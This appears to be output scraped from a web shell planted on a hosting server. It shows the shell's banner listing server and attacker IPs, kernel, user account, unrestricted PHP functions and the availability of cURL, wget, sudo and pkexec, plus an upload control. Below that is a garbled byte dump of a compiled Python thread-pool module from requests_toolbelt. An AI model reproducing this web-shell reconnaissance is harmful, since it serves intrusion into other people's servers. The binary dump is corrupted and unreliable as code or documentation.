| Server IP : 185.143.234.238 / Your IP : 185.215.232.195 Web Server : Apache System : Linux 81-12-52-146.cprapid.com 4.18.0-553.76.1.lve.el8.x86_64 #1 SMP Wed Oct 1 16:05:07 UTC 2025 x86_64 User : noavaranesama ( 1039) PHP Version : 8.2.29 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/lib/python3.6/site-packages/requests_toolbelt/threaded/__pycache__/ |
Upload File : |
3
�P\� � @ s� d Z ddlZddlZddlmZ ddlmZ G dd� de�ZG d d
� d
e�Z G dd� de �Z
G d
d� de �Zdd� ZdddgZ
dS )zEModule implementing the Pool for :mod:``requests_toolbelt.threaded``.� N� )�thread� )�queuec @ sn e Zd ZdZdddejfdd�Zdd� Zedd� �Z edd d
��Z
dd� Zd
d� Zdd� Z
dd� Zdd� ZdS )�Poola> Pool that manages the threads containing sessions.
:param queue:
The queue you're expected to use to which you should add items.
:type queue: queue.Queue
:param initializer:
Function used to initialize an instance of ``session``.
:type initializer: collections.Callable
:param auth_generator:
Function used to generate new auth credentials for the session.
:type auth_generator: collections.Callable
:param int num_process:
Number of threads to create.
:param session:
:type session: requests.Session
Nc s| |d krt j� pd}|dk r$td��|� _tj� � _tj� � _|� _|pJt � _
|pTt � _|� _� fdd�t
� j�D �� _d S )Nr z)Number of processes should at least be 1.c s&